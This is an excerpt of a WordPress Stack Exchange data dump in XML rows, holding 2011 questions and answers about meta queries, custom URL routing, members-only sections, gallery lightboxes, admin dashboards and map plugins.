  <row Id="10829" PostTypeId="1" CreationDate="2011-03-01T16:11:18.553" Score="0" ViewCount="550" Body="&lt;p&gt;I can't seem to get this to work — I'm trying to show posts that have the meta 'featured_image' value set to anything. From what I can tell, it's set up correctly, but I'm in a little over my head. Here's what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;ul&amp;gt;&#xA;  &amp;lt;?php&#xA;    global $post;&#xA;    $myposts = get_posts(array(&#xA;      'showposts' =&amp;gt; 5,&#xA;      'offset' =&amp;gt; 7,&#xA;      'meta_query' =&amp;gt; array(&#xA;        array(&#xA;          'key' =&amp;gt; 'featured_image',&#xA;          'value' =&amp;gt; '',&#xA;          'compare' =&amp;gt; 'NOT LIKE'&#xA;          )&#xA;        )&#xA;    ));&#xA;    foreach($myposts as $post) {&#xA;      setup_postdata($post);&#xA;      $meta = get_post_meta($post-&amp;gt;ID, '');&#xA;  ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/timthumb.php?src=&amp;lt;?php if (isset($meta['featured_image'][0]) &amp;amp;&amp;amp; !empty($meta['featured_image'][0])): echo $meta['featured_image'][0]; else: ?&amp;gt;/wp-content/themes/SSv2011/images/review-default.gif&amp;lt;?php endif; ?&amp;gt;&amp;amp;w=84&amp;amp;h=60&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  &amp;lt;?php unset($myposts); ?&amp;gt;&#xA;  &amp;lt;?php } ?&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Updated to show the entire query. Any ideas? :\&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Updated to WP_Query and I'm getting posts to appear, but they're not ONLY posts that have something inside 'featured_image'. Any ideas with that? The new query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;?php&#xA;      $args = array(&#xA;        'showposts' =&amp;gt; 5,&#xA;        'meta_query' =&amp;gt; array(&#xA;          array(&#xA;            'key' =&amp;gt; 'featured_image',&#xA;            'value' =&amp;gt; '',&#xA;            'compare' =&amp;gt; '!='&#xA;            )&#xA;          )&#xA;      );&#xA;      $ft_pagination = new WP_Query( $args );&#xA;      ?&amp;gt;&#xA;      &amp;lt;?php while ($ft_pagination-&amp;gt;have_posts()) : $ft_pagination-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;?php $ftimage = get_post_meta(get_the_id(), 'featured_image', TRUE); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;article&amp;gt;&#xA;            &amp;lt;a href=&quot;&quot;&amp;gt;&#xA;            &amp;lt;?php if ($ftimage): ?&amp;gt;&#xA;              &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/timthumb.php?src=&amp;lt;?php echo $ftimage; ?&amp;gt;&amp;amp;w=84&amp;amp;h=60&quot; alt=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;?php else: ?&amp;gt;&#xA;              &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/timthumb.php?src=/wp-content/themes/ssv/images/review-default.gif&amp;amp;w=84&amp;amp;h=60&quot; alt=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;          &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      &amp;lt;?php&#xA;      endwhile;&#xA;&#xA;      wp_reset_query();&#xA;      ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3618" LastEditorUserId="3618" LastEditorDisplayName="" LastEditDate="2011-03-02T03:18:52.377" LastActivityDate="2011-04-25T09:41:32.210" Title="Does meta_query work within get_posts array?" Tags="&lt;query&gt;&lt;get-posts&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="10830" PostTypeId="2" ParentId="10829" CreationDate="2011-03-01T16:52:43.443" Score="0" ViewCount="" Body="&lt;p&gt;Firstly your &lt;code&gt;get_post_meta&lt;/code&gt; call doesn't have a key, shouldn't that be &lt;code&gt;get_post_meta( $post-&amp;gt;ID, 'featured_image', true )&lt;/code&gt; or &lt;code&gt;get_post_meta( $post-&amp;gt;ID, 'featured_image', false )&lt;/code&gt; if you want multiple values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you're treating the results of the &lt;code&gt;get_post_meta&lt;/code&gt; call like it has an array of values here &lt;code&gt;$meta['featured_image'][0]&lt;/code&gt;, yet you've not specified a key, meaning it's highly unlikely to contain anything at that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the lack of key in the &lt;code&gt;get_post_meta&lt;/code&gt; call is the main issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addtitionally i'd suggest moving back to the &lt;code&gt;!=&lt;/code&gt; operator, &lt;code&gt;NOT LIKE&lt;/code&gt; wouldn't really be appropriate for an empty string comparison, imagine how that SQL will look.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WHERE meta_value NOT LIKE '%%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where as using the not equals comparison we get..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WHERE meta_value != ''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..which is(i believe) exactly what we intend to check for, a meta field with a value that is anything but an empty value.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-01T16:52:43.443" CommentCount="5" />
  <row Id="10832" PostTypeId="2" ParentId="10804" CreationDate="2011-03-01T17:22:11.063" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Ashfame:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9419/remove-taxonomy-slug-from-a-custom-hierarchical-taxonomy-permalink/10162#10162&quot;&gt;&lt;strong&gt;my answer&lt;/strong&gt;&lt;/a&gt; to the following question. You can modify my &lt;code&gt;parse_request()&lt;/code&gt; to get what you need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/9419/remove-taxonomy-slug-from-a-custom-hierarchical-taxonomy-permalink/&quot;&gt;&lt;em&gt;&quot;Remove taxonomy slug from a custom hierarchical taxonomy permalink&quot;&lt;/em&gt;&lt;/a&gt;.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And you can read the following to see why what you want can cause issues in WordPress and requires a complex solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;&quot;Category in Permalinks Considered Harmful&quot;&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Based on the comment I decided to go ahead and implement this as the next revision of the plugin. It's really only tested for the use-case for this question and the one from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9419/remove-taxonomy-slug-from-a-custom-hierarchical-taxonomy-permalink/10162#10162&quot;&gt;the prior referenced question&lt;/a&gt;. Over time I plan to implement it for all potential use-cases, as questions or clients occur to drive the demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code you'd place in your theme's functions.php file to set it up for the post_type &lt;code&gt;'custom'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','init_url_routes');&#xA;function init_url_routes() {&#xA;  $post_type = 'custom'; // Change this to your actual post_type name&#xA;  register_url_route(array('post_type'=&amp;gt;$post_type));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the plugin which you can place in &lt;code&gt;/wp-content/mu-plugins/&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Filename: wp-extended.php&#xA;Plugin Name: WP Extended for Taxonomy URL Routes&#xA;Author: Mike Schinkel&#xA;Version: 0.2&#xA;*/&#xA;function register_url_route($args=array()) {&#xA;  WP_Extended::register_url_route($args);&#xA;}&#xA;class WP_Extended extends WP {&#xA;  static $root = array();&#xA;  static function on_load() {&#xA;    add_action('setup_theme',array(__CLASS__,'setup_theme'));&#xA;  }&#xA;  static function register_url_route($args) {&#xA;    if (isset($args['taxonomy']))&#xA;      self::$root['taxonomy'][$args['taxonomy']] = get_taxonomy($args['taxonomy']);&#xA;    if (isset($args['post_type']))&#xA;      self::$root['posts'][$args['post_type']] = get_post_type_object($args['post_type']);&#xA;  }&#xA;  static function setup_theme() { // Setup theme is 1st code run after WP is created.&#xA;    global $wp;&#xA;    $wp = new WP_Extended();  // Replace the global $wp&#xA;  }&#xA;  function parse_request($extra_query_vars = '') {&#xA;    $path = $_SERVER['REQUEST_URI'];&#xA;    $domain = str_replace('.','\.',$_SERVER['SERVER_NAME']);&#xA;    $root_path = preg_replace(&quot;#^https?://{$domain}(/.*)$#&quot;,'$1',WP_SITEURL);&#xA;    if (substr($path,0,strlen($root_path))==$root_path)&#xA;      $path = substr($path,strlen($root_path));&#xA;    list($path) = explode('?',$path);&#xA;    $path_segments = explode('/',trim($path,'/'));&#xA;    // This does not handle ordering priority of type to match yet&#xA;    $matched = $this-&amp;gt;parse_post_type_request($path_segments);&#xA;    if (!$matched)&#xA;      $matched = $this-&amp;gt;parse_taxonomy_request($path_segments);&#xA;    if ($matched) {&#xA;      // This is hamfisted but necessary in some cases.&#xA;      // TODO: Look into ways to have more finesse with this.&#xA;      remove_action('template_redirect','redirect_canonical');&#xA;    } else {&#xA;      parent::parse_request($extra_query_vars); // Delegate to WP class&#xA;    }&#xA;  }&#xA;  function parse_post_type_request($path_segments) {&#xA;    // This does not handle heirarchical pages yet&#xA;    $post_id = false;&#xA;    global $wpdb;&#xA;    $sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  ID&#xA;FROM&#xA;  {$wpdb-&amp;gt;posts}&#xA;WHERE 1=1&#xA;  AND post_status='publish'&#xA;  AND post_type='%s'&#xA;  AND post_name='%s'&#xA;SQL;&#xA;    if (is_array(self::$root['posts'])) {&#xA;      foreach(self::$root['posts'] as $post_type =&amp;gt; $post_type_object) {&#xA;        $sql = $wpdb-&amp;gt;prepare($sql,$post_type,$path_segments[0]);&#xA;        $post_id = $wpdb-&amp;gt;get_var($sql);&#xA;        if ($post_id) {&#xA;          $this-&amp;gt;query_vars[($post_type=='page' ? 'page_id' : 'p')] = $post_id;&#xA;          unset($path_segments[0]);  // Remove from future consideration&#xA;          break;&#xA;        }&#xA;      }&#xA;    }&#xA;    return ($post_id);&#xA;  }&#xA;  function parse_taxonomy_request($path_segments) {&#xA;    $taxonomy_term = array();&#xA;    $parent_id = 0;&#xA;    if (is_array(self::$root['taxonomy'])) {&#xA;      foreach(self::$root['taxonomy'] as $taxonomy_slug =&amp;gt; $taxonomy) {&#xA;        $terms = get_terms($taxonomy_slug);&#xA;        foreach($path_segments as $segment_index =&amp;gt; $path_segment) {&#xA;          foreach($terms as $term_index =&amp;gt; $term) {&#xA;            if ($term-&amp;gt;slug==$path_segment) {&#xA;              if ($term-&amp;gt;parent!=$parent_id) { // Make sure we test parents&#xA;                $taxonomy_term = array();&#xA;              } else {&#xA;                $parent_id = $term-&amp;gt;term_id; // Capture parent ID for verification&#xA;                $taxonomy_term[] = $term-&amp;gt;slug; // Collect slug as path segment&#xA;                unset($terms[$term_index]); // No need to scan it again&#xA;              }&#xA;              unset($path_segments[$segment_index]);  // Remove from future consideration&#xA;              break;&#xA;            }&#xA;          }&#xA;        }&#xA;        if (count($taxonomy_term))&#xA;          break;&#xA;      }&#xA;      if (count($taxonomy_term)) {&#xA;        $path = implode('/',$taxonomy_term);&#xA;        switch ($taxonomy_slug) {&#xA;          case 'category':&#xA;            $this-&amp;gt;query_vars['category_name'] = $path;&#xA;            break;&#xA;          case 'post_tag':&#xA;            $this-&amp;gt;query_vars['tag'] = $path;&#xA;            break;&#xA;          default:&#xA;            $this-&amp;gt;query_vars['taxonomy'] = $taxonomy_slug;&#xA;            $this-&amp;gt;query_vars['term'] = $path;&#xA;            break;&#xA;        }&#xA;      }&#xA;    }&#xA;    return count($taxonomy_term);&#xA;  }&#xA;}&#xA;WP_Extended::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-01T18:53:29.373" LastActivityDate="2011-03-01T18:53:29.373" CommentCount="3" />
  <row Id="10833" PostTypeId="1" CreationDate="2011-03-01T17:32:29.837" Score="1" ViewCount="248" Body="&lt;p&gt;I've been Googling this for a while:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was on 2.8 when this bug occurred, so first thing I did was finally upgrade to 3.1. It didn't fix anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next thing I did was disable all the &quot;Update Services&quot;. Didn't fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried disabling all plugins. Didn't fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Occasionally it WILL post/publish/update, but only part of the post, leading me to believe all the data is not being submitted (?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another interesting thing to note that has happened - around the same time this started happening, my admin password stopped working and I was unable to login. Email recovery wasn't working either. So I had to manually change my password using MySQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to note is that this &quot;bug&quot; appeared all of a sudden. I had not made any changes to WordPress in the interval since my last successful post, and when I started noticing the bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: OH MY GOD I FINALLY GOT THIS EMAIL FROM HOSTGATOR, THE WORST WEB HOSTING COMPANY EVER:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This issue has been corrected. There&#xA;  was an iptables rule which had been&#xA;  previously added due to a domain&#xA;  getting attacked on the server which&#xA;  wasnt removed and was matching a part&#xA;  of the post you were making. I have&#xA;  removed the rule and the post is not&#xA;  functioning correctly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2207" LastEditorUserId="2207" LastEditorDisplayName="" LastEditDate="2011-03-05T02:17:37.907" LastActivityDate="2011-03-05T02:17:37.907" Title="WordPress hangs when I publish or update a post" Tags="&lt;3.0&gt;" AnswerCount="4" CommentCount="5" />
  <row Id="10834" PostTypeId="2" ParentId="10821" CreationDate="2011-03-01T17:33:48.103" Score="0" ViewCount="" Body="&lt;p&gt;As mentioned by &lt;a href=&quot;http://wordpress.stackexchange.com/users/1468/t31os&quot;&gt;t31os&lt;/a&gt; try changing your form inputs to use &lt;code&gt;name=&quot;startdate[]&quot;&lt;/code&gt; then loop through the array saving each value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($_POST[&quot;startdate&quot;] as $datevalue) {&#xA;    update_post_meta($post-&amp;gt;ID, &quot;startdate&quot;, $datevalue);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3358" LastActivityDate="2011-03-01T17:33:48.103" />
  <row Id="10836" PostTypeId="1" AcceptedAnswerId="10840" CreationDate="2011-03-01T18:04:20.667" Score="0" ViewCount="190" Body="&lt;p&gt;I'm working on a site which is mostly static content and one main blog. Because of this, WordPress looks like the best option to construct this site. However, the client is now looking for the following feature:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There needs to be a &quot;members only&quot; section, with sub-pages, containing some slightly sensitive information&lt;/li&gt;&#xA;&lt;li&gt;Users need to be able to request an account and have their email address verified&lt;/li&gt;&#xA;&lt;li&gt;After verification, the admin wants to manually say &quot;yes&quot; or &quot;no&quot; to each registration request before the users are added as members&lt;/li&gt;&#xA;&lt;li&gt;Members shouldn't ever have access to the backend, but should stay on the site after registerring and logging in&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there some plugin, or series of plugins, which makes this more straightforward? Does anyone have advice on how this is best set up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2011-03-01T18:57:51.060" Title="&quot;Members only&quot; section of a WordPress site - self signup and no backend access" Tags="&lt;plugins&gt;&lt;membership&gt;" AnswerCount="3" />
  <row Id="10837" PostTypeId="2" ParentId="10836" CreationDate="2011-03-01T18:14:58.897" Score="1" ViewCount="" Body="&lt;p&gt;There's a few plugins that you can look at. There's a few of these that you can look at and write your own membership plugin catered to your client's needs.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members-only/&quot; rel=&quot;nofollow&quot;&gt;Members Only&lt;/a&gt; - Makes the entire blog available to members only. You can perhaps use some of the code here in your own plugin for your client.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://member.wishlistproducts.com/&quot; rel=&quot;nofollow&quot;&gt;Membership&lt;/a&gt; - A Paid solution and I'm not sure what all it exactly does, but the link's provided for you to investigate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope these help. If I come across any more, I'll throw them in this response for you.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-03-01T18:14:58.897" />
  <row Id="10838" PostTypeId="1" CreationDate="2011-03-01T18:17:16.680" Score="1" ViewCount="427" Body="&lt;p&gt;I am working with a slightly customized version of the album-compact.php template.  I have pretty much just organized the look and feel.  I haven't messed with anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an album listed on a page through the do_shortcode template tag, and want the gallery thumbnail to open a lightbox instead of a new page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;ngg-album-link&quot;&amp;gt;&#xA;&#xA;        &amp;lt;script&amp;gt;&#xA;            jQuery(document).ready(function(){&#xA;                jQuery(&quot;.Link&quot;).colorbox({href:&quot;&amp;lt;?php echo $gallery-&amp;gt;pagelink ?&amp;gt;&quot;});    &#xA;            });&#xA;        &amp;lt;/script&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a class=&quot;Link&quot; href=&quot;&amp;lt;?php echo $gallery-&amp;gt;pagelink ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;img class=&quot;Thumb&quot; alt=&quot;&amp;lt;?php echo $gallery-&amp;gt;title ?&amp;gt;&quot; src=&quot;&amp;lt;?php echo $gallery-&amp;gt;previewurl ?&amp;gt;&quot;/&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;current_gal&quot;&amp;gt;&#xA;            &amp;lt;p class=&quot;gallery_desc century&quot;&amp;gt;&amp;lt;?php echo $gallery-&amp;gt;galdesc ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p class=&quot;gallery_title_link&quot;&amp;gt;&#xA;                &amp;lt;a class=&quot;Link event_archive_link palatino&quot; href=&quot;&amp;lt;?php echo $gallery-&amp;gt;pagelink ?&amp;gt;&quot;&amp;gt;                    &#xA;                    &amp;lt;?php echo $gallery-&amp;gt;title ?&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does nothing at all.  the site is at seattledesigndistrict.com/events/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2755" LastActivityDate="2011-09-03T11:40:52.870" Title="Can I open a Nextgen gallery into a lightbox from an album listing page" Tags="&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10839" PostTypeId="1" CreationDate="2011-03-01T18:24:55.290" Score="0" ViewCount="196" Body="&lt;p&gt;I was wondering if anyone knew of a plugin or a way programmatically to change the the default admin page for a specific user/role?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a master panel page for my plugin currently setup with custom roles and permissions for the plugin using the &lt;a href=&quot;http://wordpress.org/extend/plugins/members&quot; rel=&quot;nofollow&quot;&gt;Members Plugin&lt;/a&gt; and would like to force users that are in these custom roles to use my master control panel for their dashboard because they don't necessarily need access to the Dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Minor Edit&lt;/strong&gt;: Along with changing the default dashboard for the roles, is there a way to disable the WordPress dashboard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Zack&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-08-29T19:36:33.787" Title="Change default admin page for specific role(s)" Tags="&lt;plugin-development&gt;&lt;roles&gt;&lt;dashboard&gt;" AnswerCount="2" />
  <row Id="10840" PostTypeId="2" ParentId="10836" CreationDate="2011-03-01T18:29:09.560" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;theme my login&lt;/strong&gt;&lt;/a&gt; which covers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Redirect users upon log in and log&#xA;out based upon their role&lt;/li&gt;&#xA;&lt;li&gt;Require users to be approved and&#xA;confirm e-mail address upon&#xA;registration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and in order to create you member only pages you can use your regular pages and simply add this function to your theme's functions.php is_user_logged_in()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('member_only','member_only_shortcode');&#xA;function member_only_shortcode($content){&#xA;    if ( is_user_logged_in() ) {&#xA;        return $content;&#xA;    } else {&#xA;        return __('You must log-in to see this content ');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;usage: &lt;code&gt;[member_only]content to show your members[/member_only]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-01T18:29:09.560" CommentCount="1" />
  <row Id="10841" PostTypeId="1" AcceptedAnswerId="10846" CreationDate="2011-03-01T18:30:52.630" Score="0" ViewCount="107" Body="&lt;p&gt;Please recommend a google maps wp plugin that can put a map inside a wp page while other text will be situated near it (right or left hand side).&lt;/p&gt;&#xA;" OwnerUserId="3583" LastActivityDate="2011-03-01T23:17:15.693" Title="Google maps plugin" Tags="&lt;plugin-recommendation&gt;" AnswerCount="3" />
  <row Id="10842" PostTypeId="2" ParentId="10841" CreationDate="2011-03-01T18:36:33.877" Score="0" ViewCount="" Body="&lt;p&gt;You can use an iFrame to embed your Google Map on a custom WP page and some custom CSS to float some text to the right or left side too.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-03-01T18:36:33.877" />
  <row Id="10843" PostTypeId="2" ParentId="10839" CreationDate="2011-03-01T18:49:50.897" Score="0" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-01T18:49:50.897" />
  <row Id="10844" PostTypeId="2" ParentId="10836" CreationDate="2011-03-01T18:57:51.060" Score="1" ViewCount="" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login&lt;/a&gt; in combination with &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; for that.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-01T18:57:51.060" />
  <row Id="10845" PostTypeId="2" ParentId="10821" CreationDate="2011-03-01T19:29:02.813" Score="0" ViewCount="" Body="&lt;p&gt;Change your form as suggested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function startdate() {&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    echo &quot;&amp;lt;label&amp;gt;Startdates&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&quot;;&#xA;    for ($i=0; $i&amp;lt;count($custom[&quot;startdate&quot;]);$i++) {&#xA;        echo &quot;&amp;lt;input type=\&quot;text\&quot; name=\&quot;startdate[&quot;.$i.&quot;]\&quot; value=\&quot;&quot;.$custom[&quot;startdate&quot;][$i].&quot;\&quot; /&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to remove and reinstate your individual postmeta entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_details');&#xA;&#xA;function save_details($post_id) {&#xA;    if ($parent_id = wp_is_post_revision($post_id)) $post_id = $parent_id;&#xA;&#xA;    if (!empty($_POST['startdate']) &amp;amp;&amp;amp; is_array($_POST['startdate'])) {&#xA;        delete_post_meta($post_id, 'startdate');&#xA;        foreach ($_POST['startdate'] as $startdate) {&#xA;            add_post_meta($post_id, 'startdate', $startdate);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, of course, you'll need to add some sort of add/remove mechanism to your metabox form, probably through JS.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-02T04:42:34.253" LastActivityDate="2011-03-02T04:42:34.253" CommentCount="2" />
  <row Id="10846" PostTypeId="2" ParentId="10841" CreationDate="2011-03-01T20:07:58.670" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://wordpress.org/extend/plugins/google-maps-embed/&quot; rel=&quot;nofollow&quot; title=&quot;google maps embed&quot;&gt;Google Maps Embed&lt;/a&gt; and use CSS to float the iframe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nice plugin. It gives you a button in the MCE Editor of Wordpress. You simple paste your maps url!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-01T20:07:58.670" CommentCount="1" />
  <row Id="10847" PostTypeId="1" CreationDate="2011-03-01T20:12:31.367" Score="1" ViewCount="159" Body="&lt;p&gt;When using wp_nav_menu how do I make it so 'after' =&gt; does not show on the last element of the list?&lt;/p&gt;&#xA;" OwnerUserId="3226" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-06-30T09:18:22.607" LastActivityDate="2011-06-30T09:18:22.607" Title="How to modify the &quot;after&quot; of last element in wp_nav_menu " Tags="&lt;navigation&gt;" AnswerCount="2" />
  <row Id="10848" PostTypeId="1" AcceptedAnswerId="10859" CreationDate="2011-03-01T20:18:44.970" Score="0" ViewCount="95" Body="&lt;p&gt;is there a possibility to get the count of users currently logged in and display it somewher? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ayaz&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-03-01T23:13:31.750" Title="A way to count logged in users and display count?" Tags="&lt;users&gt;&lt;login&gt;" AnswerCount="1" />
  <row Id="10849" PostTypeId="1" AcceptedAnswerId="11086" CreationDate="2011-03-01T20:23:12.393" Score="0" ViewCount="1385" Body="&lt;p&gt;I sat up MAMP on my mac and installed wordpress 3.1. Then, I exported my wordpress.com ina tried to import to my local wordpress.... I ticked import media option and I was hoping that I will get all my posta and attachments copied across but I got only posts imported properly... For each and every attachment at wordpress.com I got error saying media import failed!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Please help I have thousands of PDF/jpg attachments which I want imported... &lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="65" LastEditorDisplayName="" LastEditDate="2011-03-01T22:49:12.273" LastActivityDate="2011-06-09T17:13:57.907" Title="Failed media import" Tags="&lt;media&gt;&lt;import&gt;&lt;permissions&gt;&lt;uploads&gt;&lt;mamp&gt;" AnswerCount="3" />
  <row Id="10850" PostTypeId="2" ParentId="10839" CreationDate="2011-03-01T20:30:59.040" Score="0" ViewCount="" Body="&lt;p&gt;Ad Dashboard: You could check the $_REQUEST and depending on what you get back, simply use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;wp_redirect();&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-01T20:30:59.040" />
